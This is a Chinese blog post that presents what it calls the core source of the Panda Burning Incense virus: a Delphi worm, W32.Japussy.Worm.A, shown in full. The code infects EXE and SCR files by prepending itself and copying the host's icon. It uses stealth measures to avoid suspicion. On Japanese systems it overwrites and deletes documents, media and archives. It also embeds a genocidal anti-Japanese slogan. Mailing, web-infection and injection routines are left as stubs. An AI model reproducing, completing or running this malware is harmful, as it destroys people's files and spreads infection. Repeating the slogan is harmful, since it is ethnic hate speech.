熊猫烧香核心源码
2018-4-14 0:15 作者:Mr.刘 | 神兵利器 | 标签: 熊猫烧香核心源码
熊猫烧香是一种恶性的计算机病毒,其与灰鸽子不同,是一种经过多次变种的“蠕虫病毒”变种,2006年10月16日由25岁的中国湖北武汉新洲区人李俊编写,拥有感染传播功能,2007年1月初肆虐网络,它主要通过下载的档案传染,受到感染的机器文件因为被误携带间接对其它计算机程序、系统破坏严重。
001
|
代码:--------------------------------------------------------------------------------
|
002
|
program Japussy;
|
003
|
uses
|
004
|
Windows, SysUtils, Classes, Graphics, ShellAPI {, Registry} ;
|
005
|
const
|
006
|
HeaderSize = 82432 ; //病毒体的大小
|
007
|
IconOffset = $12EB8 ; //PE文件主图标的偏移量
|
008
|
|
009
|
//在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同
|
010
|
//查找2800000020的十六进制字符串可以找到主图标的偏移量
|
011
|
|
012
|
{
|
013
|
HeaderSize = 38912; //Upx压缩过病毒体的大小
|
014
|
IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量
|
015
|
|
016
|
//Upx 1.24W 用法: upx -9 --8086 Japussy.exe
|
017
|
}
|
018
|
IconSize = $2E8 ; //PE文件主图标的大小--744字节
|
019
|
IconTail = IconOffset + IconSize; //PE文件主图标的尾部
|
020
|
ID = $44444444 ; //感染标记
|
021
|
|
022
|
//垃圾码,以备写入
|
023
|
Catchword = 'If a race need to be killed out, it must be Yamato. ' +
|
024
|
'If a country need to be destroyed, it must be Japan! ' +
|
025
|
'*** W32.Japussy.Worm.A ***' ;
|
026
|
{$R *.RES}
|
027
|
function RegisterServiceProcess(dwProcessID, dwType: Integer ): Integer ;
|
028
|
stdcall; external 'Kernel32.dll' ; //函数声明
|
029
|
var
|
030
|
TmpFile: string ;
|
031
|
Si: STARTUPINFO;
|
032
|
Pi: PROCESS_INFORMATION;
|
033
|
IsJap: Boolean = False ; //日文操作系统标记
|
034
|
{ 判断是否为Win9x }
|
035
|
function IsWin9x: Boolean ;
|
036
|
var
|
037
|
Ver: TOSVersionInfo;
|
038
|
begin
|
039
|
Result := False ;
|
040
|
Ver . dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
|
041
|
if not GetVersionEx(Ver) then
|
042
|
Exit;
|
043
|
if (Ver . dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
|
044
|
Result := True ;
|
045
|
end ;
|
046
|
{ 在流之间复制 }
|
047
|
procedure CopyStream(Src: TStream; sStartPos: Integer ; Dst: TStream;
|
048
|
dStartPos: Integer ; Count: Integer );
|
049
|
var
|
050
|
sCurPos, dCurPos: Integer ;
|
051
|
begin
|
052
|
sCurPos := Src . Position;
|
053
|
dCurPos := Dst . Position;
|
054
|
Src . Seek(sStartPos, 0 );
|
055
|
Dst . Seek(dStartPos, 0 );
|
056
|
Dst . CopyFrom(Src, Count);
|
057
|
Src . Seek(sCurPos, 0 );
|
058
|
Dst . Seek(dCurPos, 0 );
|
059
|
end ;
|
060
|
{ 将宿主文件从已感染的PE文件中分离出来,以备使用 }
|
061
|
procedure ExtractFile(FileName: string );
|
062
|
var
|
063
|
sStream, dStream: TFileStream;
|
064
|
begin
|
065
|
try
|
066
|
sStream := TFileStream . Create(ParamStr( 0 ), fmOpenRead or fmShareDenyNone);
|
067
|
try
|
068
|
dStream := TFileStream . Create(FileName, fmCreate);
|
069
|
try
|
070
|
sStream . Seek(HeaderSize, 0 ); //跳过头部的病毒部分
|
071
|
dStream . CopyFrom(sStream, sStream . Size - HeaderSize);
|
072
|
finally
|
073
|
dStream . Free;
|
074
|
end ;
|
075
|
finally
|
076
|
sStream . Free;
|
077
|
end ;
|
078
|
except
|
079
|
end ;
|
080
|
end ;
|
081
|
{ 填充STARTUPINFO结构 }
|
082
|
procedure FillStartupInfo( var Si: STARTUPINFO; State: Word );
|
083
|
begin
|
084
|
Si . cb := SizeOf(Si);
|
085
|
Si . lpReserved := nil ;
|
086
|
Si . lpDesktop := nil ;
|
087
|
Si . lpTitle := nil ;
|
088
|
Si . dwFlags := STARTF_USESHOWWINDOW;
|
089
|
Si . wShowWindow := State;
|
090
|
Si . cbReserved2 := 0 ;
|
091
|
Si . lpReserved2 := nil ;
|
092
|
end ;
|
093
|
{ 发带毒邮件 }
|
094
|
procedure SendMail;
|
095
|
begin
|
096
|
//哪位仁兄愿意完成之?
|
097
|
end ;
|
098
|
{ 感染PE文件 }
|
099
|
procedure InfectOneFile(FileName: string );
|
100
|
var
|
101
|
HdrStream, SrcStream: TFileStream;
|
102
|
IcoStream, DstStream: TMemoryStream;
|
103
|
iID: LongInt ;
|
104
|
aIcon: TIcon;
|
105
|
Infected, IsPE: Boolean ;
|
106
|
i: Integer ;
|
107
|
Buf: array [ 0..1 ] of Char ;
|
108
|
begin
|
109
|
try //出错则文件正在被使用,退出
|
110
|
if CompareText(FileName, 'JAPUSSY.EXE' ) = 0 then //是自己则不感染
|
111
|
Exit;
|
112
|
Infected := False ;
|
113
|
IsPE := False ;
|
114
|
SrcStream := TFileStream . Create(FileName, fmOpenRead);
|
115
|
try
|
116
|
for i := 0 to $108 do //检查PE文件头
|
117
|
begin
|
118
|
SrcStream . Seek(i, soFromBeginning);
|
119
|
SrcStream . Read(Buf, 2 );
|
120
|
if (Buf[ 0 ] = # 80 ) and (Buf[ 1 ] = # 69 ) then //PE标记
|
121
|
begin
|
122
|
IsPE := True ; //是PE文件
|
123
|
Break;
|
124
|
end ;
|
125
|
end ;
|
126
|
SrcStream . Seek(- 4 , soFromEnd); //检查感染标记
|
127
|
SrcStream . Read(iID, 4 );
|
128
|
if (iID = ID) or (SrcStream . Size < 10240 ) then //太小的文件不感染
|
129
|
Infected := True ;
|
130
|
finally
|
131
|
SrcStream . Free;
|
132
|
end ;
|
133
|
if Infected or ( not IsPE) then //如果感染过了或不是PE文件则退出
|
134
|
Exit;
|
135
|
IcoStream := TMemoryStream . Create;
|
136
|
DstStream := TMemoryStream . Create;
|
137
|
try
|
138
|
aIcon := TIcon . Create;
|
139
|
try
|
140
|
//得到被感染文件的主图标(744字节),存入流
|
141
|
aIcon . ReleaseHandle;
|
142
|
aIcon . Handle := ExtractIcon(HInstance, PChar (FileName), 0 );
|
143
|
aIcon . SaveToStream(IcoStream);
|
144
|
finally
|
145
|
aIcon . Free;
|
146
|
end ;
|
147
|
SrcStream := TFileStream . Create(FileName, fmOpenRead);
|
148
|
//头文件
|
149
|
HdrStream := TFileStream . Create(ParamStr( 0 ), fmOpenRead or fmShareDenyNone);
|
150
|
try
|
151
|
//写入病毒体主图标之前的数据
|
152
|
CopyStream(HdrStream, 0 , DstStream, 0 , IconOffset);
|
153
|
//写入目前程序的主图标
|
154
|
CopyStream(IcoStream, 22 , DstStream, IconOffset, IconSize);
|
155
|
//写入病毒体主图标到病毒体尾部之间的数据
|
156
|
CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
|
157
|
//写入宿主程序
|
158
|
CopyStream(SrcStream, 0 , DstStream, HeaderSize, SrcStream . Size);
|
159
|
//写入已感染的标记
|
160
|
DstStream . Seek( 0 , 2 );
|
161
|
iID := $44444444 ;
|
162
|
DstStream . Write (iID, 4 );
|
163
|
finally
|
164
|
HdrStream . Free;
|
165
|
end ;
|
166
|
finally
|
167
|
SrcStream . Free;
|
168
|
IcoStream . Free;
|
169
|
DstStream . SaveToFile(FileName); //替换宿主文件
|
170
|
DstStream . Free;
|
171
|
end ;
|
172
|
except ;
|
173
|
end ;
|
174
|
end ;
|
175
|
|
176
|
{ 将目标文件写入垃圾码后删除 }
|
177
|
procedure SmashFile(FileName: string );
|
178
|
var
|
179
|
FileHandle: Integer ;
|
180
|
i, Size, Mass, Max, Len: Integer ;
|
181
|
begin
|
182
|
try
|
183
|
SetFileAttributes( PChar (FileName), 0 ); //去掉只读属性
|
184
|
FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件
|
185
|
try
|
186
|
Size := GetFileSize(FileHandle, nil ); //文件大小
|
187
|
i := 0 ;
|
188
|
Randomize;
|
189
|
Max := Random( 15 ); //写入垃圾码的随机次数
|
190
|
if Max < 5 then
|
191
|
Max := 5 ;
|
192
|
Mass := Size div Max; //每个间隔块的大小
|
193
|
Len := Length(Catchword);
|
194
|
while i < Max do
|
195
|
begin
|
196
|
FileSeek(FileHandle, i * Mass, 0 ); //定位
|
197
|
//写入垃圾码,将文件彻底破坏掉
|
198
|
FileWrite(FileHandle, Catchword, Len);
|
199
|
Inc(i);
|
200
|
end ;
|
201
|
finally
|
202
|
FileClose(FileHandle); //关闭文件
|
203
|
end ;
|
204
|
DeleteFile( PChar (FileName)); //删除之
|
205
|
except
|
206
|
end ;
|
207
|
end ;
|
208
|
{ 获得可写的驱动器列表 }
|
209
|
function GetDrives: string ;
|
210
|
var
|
211
|
DiskType: Word ;
|
212
|
D: Char ;
|
213
|
Str: string ;
|
214
|
i: Integer ;
|
215
|
begin
|
216
|
for i := 0 to 25 do //遍历26个字母
|
217
|
begin
|
218
|
D := Chr(i + 65 );
|
219
|
Str := D + ':' ;
|
220
|
DiskType := GetDriveType( PChar (Str));
|
221
|
//得到本地磁盘和网络盘
|
222
|
if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
|
223
|
Result := Result + D;
|
224
|
end ;
|
225
|
end ;
|
226
|
{ 遍历目录,感染和摧毁文件 }
|
227
|
procedure LoopFiles(Path, Mask: string );
|
228
|
var
|
229
|
i, Count: Integer ;
|
230
|
Fn, Ext: string ;
|
231
|
SubDir: TStrings;
|
232
|
SearchRec: TSearchRec;
|
233
|
Msg: TMsg;
|
234
|
function IsValidDir(SearchRec: TSearchRec): Integer ;
|
235
|
begin
|
236
|
if (SearchRec . Attr <> 16 ) and (SearchRec . Name <> '.' ) and
|
237
|
(SearchRec . Name <> '..' ) then
|
238
|
Result := 0 //不是目录
|
239
|
else if (SearchRec . Attr = 16 ) and (SearchRec . Name <> '.' ) and
|
240
|
(SearchRec . Name <> '..' ) then
|
241
|
Result := 1 //不是根目录
|
242
|
else Result := 2 ; //是根目录
|
243
|
end ;
|
244
|
begin
|
245
|
if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0 ) then
|
246
|
begin
|
247
|
repeat
|
248
|
PeekMessage(Msg, 0 , 0 , 0 , PM_REMOVE); //调整消息队列,避免引起怀疑
|
249
|
if IsValidDir(SearchRec) = 0 then
|
250
|
begin
|
251
|
Fn := Path + SearchRec . Name;
|
252
|
Ext := UpperCase(ExtractFileExt(Fn));
|
253
|
if (Ext = '.EXE' ) or (Ext = '.SCR' ) then
|
254
|
begin
|
255
|
InfectOneFile(Fn); //感染可执行文件
|
256
|
end
|
257
|
else if (Ext = '.HTM' ) or (Ext = '.HTML' ) or (Ext = '.ASP' ) then
|
258
|
begin
|
259
|
//感染HTML和ASP文件,将Base64编码后的病毒写入
|
260
|
//感染浏览此网页的所有用户
|
261
|
//哪位大兄弟愿意完成之?
|
262
|
end
|
263
|
else if Ext = '.WAB' then //Outlook地址簿文件
|
264
|
begin
|
265
|
//获取Outlook邮件地址
|
266
|
end
|
267
|
else if Ext = '.ADC' then //Foxmail地址自动完成文件
|
268
|
begin
|
269
|
//获取Foxmail邮件地址
|
270
|
end
|
271
|
else if Ext = 'IND' then //Foxmail地址簿文件
|
272
|
begin
|
273
|
//获取Foxmail邮件地址
|
274
|
end
|
275
|
else
|
276
|
begin
|
277
|
if IsJap then //是倭文操作系统
|
278
|
begin
|
279
|
if (Ext = '.DOC' ) or (Ext = '.XLS' ) or (Ext = '.MDB' ) or
|
280
|
(Ext = '.MP3' ) or (Ext = '.RM' ) or (Ext = '.RA' ) or
|
281
|
(Ext = '.WMA' ) or (Ext = '.ZIP' ) or (Ext = '.RAR' ) or
|
282
|
(Ext = '.MPEG' ) or (Ext = '.ASF' ) or (Ext = '.JPG' ) or
|
283
|
(Ext = '.JPEG' ) or (Ext = '.GIF' ) or (Ext = '.SWF' ) or
|
284
|
(Ext = '.PDF' ) or (Ext = '.CHM' ) or (Ext = '.AVI' ) then
|
285
|
SmashFile(Fn); //摧毁文件
|
286
|
end ;
|
287
|
end ;
|
288
|
end ;
|
289
|
//感染或删除一个文件后睡眠200毫秒,避免CPU占用率过高引起怀疑
|
290
|
Sleep( 200 );
|
291
|
until (FindNext(SearchRec) <> 0 );
|
292
|
end ;
|
293
|
FindClose(SearchRec);
|
294
|
SubDir := TStringList . Create;
|
295
|
if (FindFirst(Path + '*.*' , faDirectory, SearchRec) = 0 ) then
|
296
|
begin
|
297
|
repeat
|
298
|
if IsValidDir(SearchRec) = 1 then
|
299
|
SubDir . Add(SearchRec . Name);
|
300
|
until (FindNext(SearchRec) <> 0 );
|
301
|
end ;
|
302
|
FindClose(SearchRec);
|
303
|
Count := SubDir . Count - 1 ;
|
304
|
for i := 0 to Count do
|
305
|
LoopFiles(Path + SubDir . Strings + '' , Mask);
|
306
|
FreeAndNil(SubDir);
|
307
|
end ;
|
308
|
{ 遍历磁盘上所有的文件 }
|
309
|
procedure InfectFiles;
|
310
|
|
311
|
var
|
312
|
DriverList: string ;
|
313
|
i, Len: Integer ;
|
314
|
begin
|
315
|
if GetACP = 932 then //日文操作系统
|
316
|
IsJap := True ; //去死吧!
|
317
|
DriverList := GetDrives; //得到可写的磁盘列表
|
318
|
Len := Length(DriverList);
|
319
|
while True do //死循环
|
320
|
begin
|
321
|
for i := Len downto 1 do //遍历每个磁盘驱动器
|
322
|
LoopFiles(DriverList + ':' , '*.*' ); //感染之
|
323
|
SendMail; //发带毒邮件
|
324
|
Sleep( 1000 * 60 * 5 ); //睡眠5分钟
|
325
|
end ;
|
326
|
end ;
|
327
|
{ 主程序开始 }
|
328
|
begin
|
329
|
if IsWin9x then //是Win9x
|
330
|
RegisterServiceProcess(GetCurrentProcessID, 1 ) //注册为服务进程
|
331
|
else //WinNT
|
332
|
begin
|
333
|
//远程线程映射到Explorer进程
|
334
|
//哪位兄台愿意完成之?
|
335
|
end ;
|
336
|
//如果是原始病毒体自己
|
337
|
if CompareText(ExtractFileName(ParamStr( 0 )), 'Japussy.exe' ) = 0 then
|
338
|
InfectFiles //感染和发邮件
|
339
|
else //已寄生于宿主程序上了,开始工作
|
340
|
begin
|
341
|
TmpFile := ParamStr( 0 ); //创建临时文件
|
342
|
Delete(TmpFile, Length(TmpFile) - 4 , 4 );
|
343
|
TmpFile := TmpFile + # 32 + '.exe' ; //真正的宿主文件,多一个空格
|
344
|
ExtractFile(TmpFile); //分离之
|
345
|
FillStartupInfo(Si, SW_SHOWDEFAULT);
|
346
|
CreateProcess( PChar (TmpFile), PChar (TmpFile), nil , nil , True ,
|
347
|
0 , nil , '.' , Si, Pi); //创建新进程运行之
|
348
|
InfectFiles; //感染和发邮件
|
349
|
end ;
|
350
|
end .
|
文章作者:Mr.刘 作者QQ:905690245
文章地址:https://www.blog.qixiwangluo.com:443/?post=30
版权所有 © 转载时必须以链接形式注明作者和原始出处!
北京时间
网站资料
- 日志数量:194 篇
- 评论数量:3 条
- 微语数量:3 条
- 建站日期:2018.03.28
- 运行时间:212857567 秒
网站微语
-
没有网络安全,就没有国家安全.
最新微语
- 黑客不在乎技术的高与低.
Mr.刘 : 03月31日 00:12
- 而在乎她对这种技术的执着追求.
Mr.刘 : 03月31日 00:12
- 谦虚谨慎,不骄不躁.
Mr.刘 : 03月31日 00:11
发表评论: